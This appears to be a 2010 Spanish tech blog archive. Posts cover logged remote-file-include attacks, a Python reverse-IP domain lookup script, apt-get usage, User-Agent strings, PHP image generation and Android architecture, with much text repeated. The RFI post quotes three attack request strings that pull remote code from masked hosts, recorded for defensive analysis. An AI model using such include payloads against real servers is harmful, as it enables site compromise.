Como ya ocurriera en el post "Primeros ataques, siguiendo el rastro", recientemente he revisado mis log y he detectado varios ataque automatizados. En esta ocasión solo buscaban fallos RFI (remote file include).
El día 2010/03/19 a las 16:52:15 desde 95.110.224.XXX (Italia)
Petición: “?p=153//errors.php?error=www.xxxxxxxxxxx.or.kr/id?″
User-Agent: libwww-perl/5.805
Intentaba incluir un código alojado en una web coreana con IP 211.202.2.XXX
El día 2010/03/12 a las 03:00:35 desde 187.40.43.XXX (Brasil)
Petición: “?p=http://www.xxxxxxxxxxx.net/id.txt??″
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Intentaba incluir un código alojado en una web italiana con IP 213.217.147.XXX
El día 2010/03/07 a las 22:00:13 desde 64.186.137.XXX (EEUU)
Petición: “?p=ftp://xxxuserxxx:xxxpassxxx@ftp.xxxxxxxxxxx.com.br/SenderMail.php?″
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Intentaba incluir un código alojado en un ftp brasileño con IP 200.149.77.XXX, claro para poder acceder deja su usuario y clave.
Solo uno de estos ataques ha sido "parado" por mi herramienta Save Bot, dado que no estaba incorporada la "firma" para ese user-agent (Indy Library).
Ya la he añadido en mi beta personal y la nueva versión estará proximamente disponible.
24 de marzo de 2010
23 de marzo de 2010
WebSearch usando "you get signal"
Recientemente he visto en Pentest.es un programa que dada un IP o lista de IPs busca los dominios que le pertenecen.
Para este objetivo hace uso de el API de Bing. Me ha parecido muy buena idea, y yo he creado una función que realiza lo mismo. Desde aquí invito a que añadan a WebSearch si les gusta.
Esta utilidad hace uso de YouGetSignal para obtener los datos de dominios.
UPDATE: cambiado el nombre "list" por "lista" by david G.
Para este objetivo hace uso de el API de Bing. Me ha parecido muy buena idea, y yo he creado una función que realiza lo mismo. Desde aquí invito a que añadan a WebSearch si les gusta.
Esta utilidad hace uso de YouGetSignal para obtener los datos de dominios.
'''
@license: LGPL [http://www.gnu.org/licenses/lgpl.html]
@author: ehooo [ehooo[de]rollanwar[punto]net]
'''
import json, httplib, urllib
def search_you_get_signal(ip):
params = urllib.urlencode({'remoteAddress': ip, 'key': ""})
connection = httplib.HTTPConnection("www.yougetsignal.com")
headers = {"Host":"www.yougetsignal.com",\
"User-Agent":"WebSearch (YouGetSignal version)",\
"Accept":"*/*",\
"X-Requested-With":"XMLHttpRequest",\
"X-Prototype-Version":"1.6.0",\
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"}
url = "/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php"
connection.request("POST", url, params, headers)
response = connection.getresponse()
lista = []
if response.status is httplib.OK:
json_response = response.read()
json_parse = json.loads(json_response)
if 'domainArray' in json_parse:
for (domain, desc) in json_parse['domainArray']:
lista.append(domain)
else:
print "ERROR:"
print json_parse
else:
print "ERROR:"
print response.getheaders()
return lista
if __name__ == '__main__':
import getopt, sys
try:
opts, args = getopt.getopt(sys.argv[1:], "i:", ["ip="])
except getopt.error, msg:
print msg
print sys.argv[0] + " [ -i | --ip= ]"
exit(2)
ip = None
for o, a in opts:
if o in ("-i", "--ip"):
ip = a
if ip is None:
print sys.argv[0] + " [ -i | --ip= ]"
exit(1)
list_domain = search_you_get_signal(ip)
for domain in list_domain:
print domain
UPDATE: cambiado el nombre "list" por "lista" by david G.
22 de marzo de 2010
Un poco de APT-get
APT son las siglas de Advanced Packaging Tool (Herramienta Avanzada de Empaquetado). Esta herramienta permite al administrador del sistema, gestionar los paquetes de su sistema Linux. APT simplifica en gran medida la instalación y eliminación de programas en los sistemas GNU/Linux.
La principal utilidad de este servicio es el comando apt-get, que nos permite instalar, actualizar y eliminar paquetes y programas descargando también las dependencias necesarias.
No confundir con Advanced Persistent Threats (APT también) que es una categoría de crimeware dirigido a las empresas.
APT usa una lista de repositorios alojada en "/etc/apt/sources.list" desde donde se indica la ubicación y los paquetes necesarios para la instalación de un programa. Cada distribución Linux basada en Debian suele tener su propia lista de repositorios.
Antes de instalar o actualizar recomiendo ejecutar:
Este comando actualiza la lista de paquetes, de este modo aseguras descargar la última versión.
NOTA: Archivos "lock":
Documentación:
http://www.debian.org/doc/manuals/apt-howto/index.es.html
http://es.wikipedia.org/wiki/Advanced_Packaging_Tool
La principal utilidad de este servicio es el comando apt-get, que nos permite instalar, actualizar y eliminar paquetes y programas descargando también las dependencias necesarias.
No confundir con Advanced Persistent Threats (APT también) que es una categoría de crimeware dirigido a las empresas.
APT usa una lista de repositorios alojada en "/etc/apt/sources.list" desde donde se indica la ubicación y los paquetes necesarios para la instalación de un programa. Cada distribución Linux basada en Debian suele tener su propia lista de repositorios.
Antes de instalar o actualizar recomiendo ejecutar:
apt-get update
Este comando actualiza la lista de paquetes, de este modo aseguras descargar la última versión.
- Instalar:
# apt-get install <paquete>
Reinstalar:# apt-get --reinstall install <paquete>
- Actualizar (-u Muestra los paquetes que se actualizarán):
# apt-get -u upgrade
Actualizar distribución:# apt-get -u dist-upgrade
- Eliminar:
# apt-get remove <paquete>
También ficheros de configuración.:# apt-get --purge remove <paquete>
Eliminar paquetes no usados (todo excepto los archivos "lock")# apt-get clean
NOTA: Archivos "lock":
/var/cache/apt/archives/
/var/cache/apt/archives/partial/
Documentación:
http://www.debian.org/doc/manuals/apt-howto/index.es.html
http://es.wikipedia.org/wiki/Advanced_Packaging_Tool
16 de febrero de 2010
Conociendo el sistema de quien accede a la web
Existen múltiples sitios web que te muestran tu sistema y tu navegador, pero ¿como lo descubren?.
Conocer el sistema y navegador de quien accede a un sitio web es fácil de descubrir usando el valor "User-Agent" que está definido en el protocolo HTTP.
Este tag es usado para indicar que agente está accediendo a la web.
A continuación podéis ver unos cuantos ejemplos:
Como podeis observar es simple ver el sistema y navegador de quien accede a el sitio web.
Los dos últimos agentes pertenecen a los motores de búsqueda Google y Yahoo!.
En muchas ocasiones las barras de descarga y otros componentes modifican el User-Agent para que cuando se acceda a un sitio con alguna tecnología el servidor sepa como actuar.
Conocer el sistema y navegador de quien accede a un sitio web es fácil de descubrir usando el valor "User-Agent" que está definido en el protocolo HTTP.
Este tag es usado para indicar que agente está accediendo a la web.
A continuación podéis ver unos cuantos ejemplos:
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB0.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Firefox/3.5.7
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; es-ES; rv:1.9.2) Gecko/20100115 Firefox/3.6
Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A542a Safari/419.3
Opera/9.80 (Windows NT 6.0; U; es-LA) Presto/2.5.21 Version/10.50
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)
Como podeis observar es simple ver el sistema y navegador de quien accede a el sitio web.
Los dos últimos agentes pertenecen a los motores de búsqueda Google y Yahoo!.
En muchas ocasiones las barras de descarga y otros componentes modifican el User-Agent para que cuando se acceda a un sitio con alguna tecnología el servidor sepa como actuar.
13 de febrero de 2010
Generación dinámica de imagenes en PHP
PHP es un lenguaje de programación que nos permite generar imágenes de forma dinámica.
La generación de imágenes dinámicas puede ser muy util para hacer Captchas, pero en el ejemplo del código a continuación vamos ha ver varias de las funciones que creo más interesantes para esto.
Este código dá como resultado algo similar a lo siguiente:

Podeis mirar más información en la web de PHP
La generación de imágenes dinámicas puede ser muy util para hacer Captchas, pero en el ejemplo del código a continuación vamos ha ver varias de las funciones que creo más interesantes para esto.
Header("Content-type: image/jpeg");
//Obtenemos la imagen de fondo
$img_fondo = imagecreatefromjpeg("fondo.jpg");
//Obtenemos la imagen para insertar
$img = imagecreatefromjpeg('img.jpg');
$claridad = 100;
imagecopymerge($img_fondo, $img, 40, 40, 0, 0, imagesx($img), imagesy($img), $claridad);
//Escribiendo en texto plano
$texto = "Esto es un texto sin Fuente";
$orange = imagecolorallocate($img_fondo, 220, 210, 60);
$mitad = (imagesx($img_fondo)-7.5 * strlen($texto))/2;
imagestring($img_fondo,5,$mitad,80,$texto,$orange);
//Escribiendo en texto con fuente
$font = './fuente.ttf';
$tam = 20;
$rotado = 0;
$texto = "Text TTF";
$mitad = (imagesx($img_fondo)-7.5 * strlen($texto))/2;
imagettftext($img_fondo, $tam, $rotado, $mitad, 120, $orange, $font, $texto);
imagejpeg($img_fondo);
imagedestroy($img_fondo);
Este código dá como resultado algo similar a lo siguiente:
Podeis mirar más información en la web de PHP
16 de enero de 2010
Arquitectura de Android
Android es un sistema operativo diseñado por capas.
Android usa el Kernel de Linux 2.6 para comunicarse con la capa de Hardware, esto permite a Android ser compatible con muchos de los drivers creados para linux facilitando de este modo ciertos desarrollos. Permite también facilitar la creación de dispositivos de todo tipo (por ejemplo el e-Book Nook o enTourage eDGe corre un Android).
Sobre el kernel de Linux Android contiene ciertas herramientas, servicios y librerías que permiten dar más potencia al sistema (por ejemplo SQLite o OpenGL).
A la par de estas librerías y ayudandose de ellas existe la maquina virtual Dalvik que ejecuta fichero .dex empaquetados en un .apk (compresión en formato zip, similar al usado por java con los .jar); además Dalvik permite traducir las .class de JAVA a .dex usando la herramienta "dx".
Sobre estas tres capas existe un Framework que se encarga de gestionar las distintas llamadas que realicen nuestros programas.
Dada esta arquitectura un programador podría crear programas en C (por ejemplo) compilados para linux ARM (procesador usado en los moviles) que correría baja el núcleo. También podría crear un programa dex o java que corriera sobre la máquina virtual Dalvik. Por ultimo podría crear un programa que use el framework.

A continuación voy a explicar un poco más como funciona la principal funcionalidad usada para el desarrollo de aplicaciones en Android, que es la última capa explicada, el Framework.
Cuando creamos una aplicación podemos cuatro tipos de clases básicas distintas que podemos crear según el objetivo de estas. La arquitectura de Android define estos cuatros elementos de los que podemos heredar:
Fuentes:
http://www.dalvikvm.com/
http://developer.android.com/guide/
Android usa el Kernel de Linux 2.6 para comunicarse con la capa de Hardware, esto permite a Android ser compatible con muchos de los drivers creados para linux facilitando de este modo ciertos desarrollos. Permite también facilitar la creación de dispositivos de todo tipo (por ejemplo el e-Book Nook o enTourage eDGe corre un Android).
Sobre el kernel de Linux Android contiene ciertas herramientas, servicios y librerías que permiten dar más potencia al sistema (por ejemplo SQLite o OpenGL).
A la par de estas librerías y ayudandose de ellas existe la maquina virtual Dalvik que ejecuta fichero .dex empaquetados en un .apk (compresión en formato zip, similar al usado por java con los .jar); además Dalvik permite traducir las .class de JAVA a .dex usando la herramienta "dx".
Sobre estas tres capas existe un Framework que se encarga de gestionar las distintas llamadas que realicen nuestros programas.
Dada esta arquitectura un programador podría crear programas en C (por ejemplo) compilados para linux ARM (procesador usado en los moviles) que correría baja el núcleo. También podría crear un programa dex o java que corriera sobre la máquina virtual Dalvik. Por ultimo podría crear un programa que use el framework.
A continuación voy a explicar un poco más como funciona la principal funcionalidad usada para el desarrollo de aplicaciones en Android, que es la última capa explicada, el Framework.
Cuando creamos una aplicación podemos cuatro tipos de clases básicas distintas que podemos crear según el objetivo de estas. La arquitectura de Android define estos cuatros elementos de los que podemos heredar:
- Activities:
Toda clase que como consecuencia de instanciarla implique una impresión por pantalla. En un programa lector de rss sería la pantalla donde lista los elementos nuevos por ejemplo. - Services:
Un servicio sería todo proceso que corre sin necesidad de usar un interfaz gráfico. Siguiendo con el ejemplo de antes un servicio sería el proceso que se encarga de ir comprobando cada X tiempo si hay o no algo nuevo en el RSS. - Intent:
Es la interpretación abstracta de una acción. Semejante a un evento o interrupción. (Un click, pulsación en pantalla o pulsación de un botón) - Content providers & Broadcast receivers
Este es un aspecto novedoso y jugoso de Android, bajo mi punto de vista. Está enfocado a la reutilización de código en una aplicación, por tanto una aplicación puede tener ciertos elementos que sean llamados por cuales quieran otras aplicaciones para que realice una acción.
La diferencia entre "Content providers" y "Broadcast receivers" es que los primero trabajan sobre URIs, es decir sobre tipos de datos MIME, y los segundos trabajan a nivel de "Intent". En el ejemplo uno sería llamado cuando se encontrara el valor "application/rss+xml
" y otro cuando se lanza un "Intent".
Fuentes:
http://www.dalvikvm.com/
http://developer.android.com/guide/
6 de enero de 2010
Un poco de Android
Recientemente por un incidente con un pantalón un poco ajustado he perdido parte de la pantalla de mi ex-Nokia N82. Es la segunda vez que pasa, así que he decidido pillarme un nuevo móvil.
Mi nuevo móvil es un HTC Tatoo con un Android 1.6 corriendo como sistema operativo. Yo hubiera preferido haber pillado un HTC Hero, pero el presupuesto no da.
He pillado un Android para poder hacer algún programilla y probar si alguna aplicación que ya programé para mi antiguo Nokia.
En el tema de seguridad solo he podido encontrar dos vulnerabilidades en este sistema y ambas han ocurrido en la versión 1.5.
Android es un sistema operativo para móviles basado en el kernel de Linux. Inicialmente lo desarrolló Google pero luego ha pasado a pertenecer a la Open Handset Alliance (formada por alrededor de 50 empresas del sector). Android trabaja con dos licencias, GPLv2 para componentes como los parches del kernel y Apache 2 para las aplicaciones ya que permite su comercialización de manera más simple.
Android está pensado para trabajar de manera similar a un Framework que además permite la intercomunicación entre distintas aplicaciones usando un interfaz propio para cada aplicación. El modelo usado por Android permite que los distintos programas informen al resto de que capacidades tienen y así el resto de programas pueden usarlas sin necesidad de implementarlas. El mecanismo es similar al usado por las DLLs.
Existen varias versiones de Android que podemos encontrar en el mercado, según fuentes oficiales se distribuyen del siguiente modo según dispositivos:

Para poder diferenciar las distintas versiones
Esisten distintos Niveles de API según las versiones, de este modos podemos crear un programa con escalable para distintas versiones.
Para Android 2.0.1 la API 6, para 2.0 API 5, parar 1.6 API 4, para 1.5 API 3, para 1.1 API 2 y para 1.0 API 1
Bueno lo primero que destacaría de Android, por lo menos de la versión que tengo en la mano es que el interfaz es un poco complicado de manejar, aún que recueda mucho al de iPhone.
No contiene un gestor de directorios integrado. Personalmente a mi me gusta poder moverme por los directorios y buscar cosas.
Creo que el recolector de basura usado por Android podría mejora un poco, de hecho existen aplicaciones que realizan las funciones típicas de un recolector.
http://www.openhandsetalliance.com
http://www.android.com
http://code.google.com/intl/es-ES/android
Mi nuevo móvil es un HTC Tatoo con un Android 1.6 corriendo como sistema operativo. Yo hubiera preferido haber pillado un HTC Hero, pero el presupuesto no da.
He pillado un Android para poder hacer algún programilla y probar si alguna aplicación que ya programé para mi antiguo Nokia.
En el tema de seguridad solo he podido encontrar dos vulnerabilidades en este sistema y ambas han ocurrido en la versión 1.5.
¿Que es Android?
Android es un sistema operativo para móviles basado en el kernel de Linux. Inicialmente lo desarrolló Google pero luego ha pasado a pertenecer a la Open Handset Alliance (formada por alrededor de 50 empresas del sector). Android trabaja con dos licencias, GPLv2 para componentes como los parches del kernel y Apache 2 para las aplicaciones ya que permite su comercialización de manera más simple.
Android está pensado para trabajar de manera similar a un Framework que además permite la intercomunicación entre distintas aplicaciones usando un interfaz propio para cada aplicación. El modelo usado por Android permite que los distintos programas informen al resto de que capacidades tienen y así el resto de programas pueden usarlas sin necesidad de implementarlas. El mecanismo es similar al usado por las DLLs.
- Versiones:
Existen varias versiones de Android que podemos encontrar en el mercado, según fuentes oficiales se distribuyen del siguiente modo según dispositivos:
Para poder diferenciar las distintas versiones
Esisten distintos Niveles de API según las versiones, de este modos podemos crear un programa con escalable para distintas versiones.
Para Android 2.0.1 la API 6, para 2.0 API 5, parar 1.6 API 4, para 1.5 API 3, para 1.1 API 2 y para 1.0 API 1
Primeras impresiones
Bueno lo primero que destacaría de Android, por lo menos de la versión que tengo en la mano es que el interfaz es un poco complicado de manejar, aún que recueda mucho al de iPhone.
No contiene un gestor de directorios integrado. Personalmente a mi me gusta poder moverme por los directorios y buscar cosas.
Creo que el recolector de basura usado por Android podría mejora un poco, de hecho existen aplicaciones que realizan las funciones típicas de un recolector.
Más Información:
http://www.openhandsetalliance.com
http://www.android.com
http://code.google.com/intl/es-ES/android
Suscribirse a:
Entradas (Atom)